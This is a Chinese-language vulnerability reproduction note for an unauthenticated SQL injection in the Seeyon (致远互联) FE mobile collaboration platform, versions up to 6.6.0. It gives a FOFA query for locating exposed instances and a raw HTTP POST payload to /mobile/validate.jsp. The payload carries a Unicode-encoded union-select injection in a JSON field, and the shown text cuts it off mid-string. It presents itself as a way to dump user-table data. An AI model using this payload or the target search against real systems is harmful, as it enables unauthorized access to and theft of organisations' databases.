Z2-3致远互联-FE-移动协作平台-SQL

漏洞描述：

致远互联FE协作办公平台 editflow_manager.js、validate.jsp等接口处存在SQL注入漏洞,未经身份验证的攻击者可以通过此漏洞获取数据库敏感信息，深入利用可获取服务器权限。

影响版本：

```
FE协作办公平台 <= 6.6.0
```

网络测绘：

fofa语法：

FOFA：app="致远互联-FE"

漏洞复现：

payload：

```
POST /mobile/validate.jsp;; HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

json={"type":"0","relId":"\u0031\u0027\u0020\u0061\u006E\u0064\u0020\u0031\u003D\u0032\u0020\u0075\u006E\u0069\u006F\u006E\u0020\u0073\u0065\u006C\u0065\u0063\u0074\u002
```

效果图:
PS：SQL语句需要Unicode 中文编码
获取用户表数据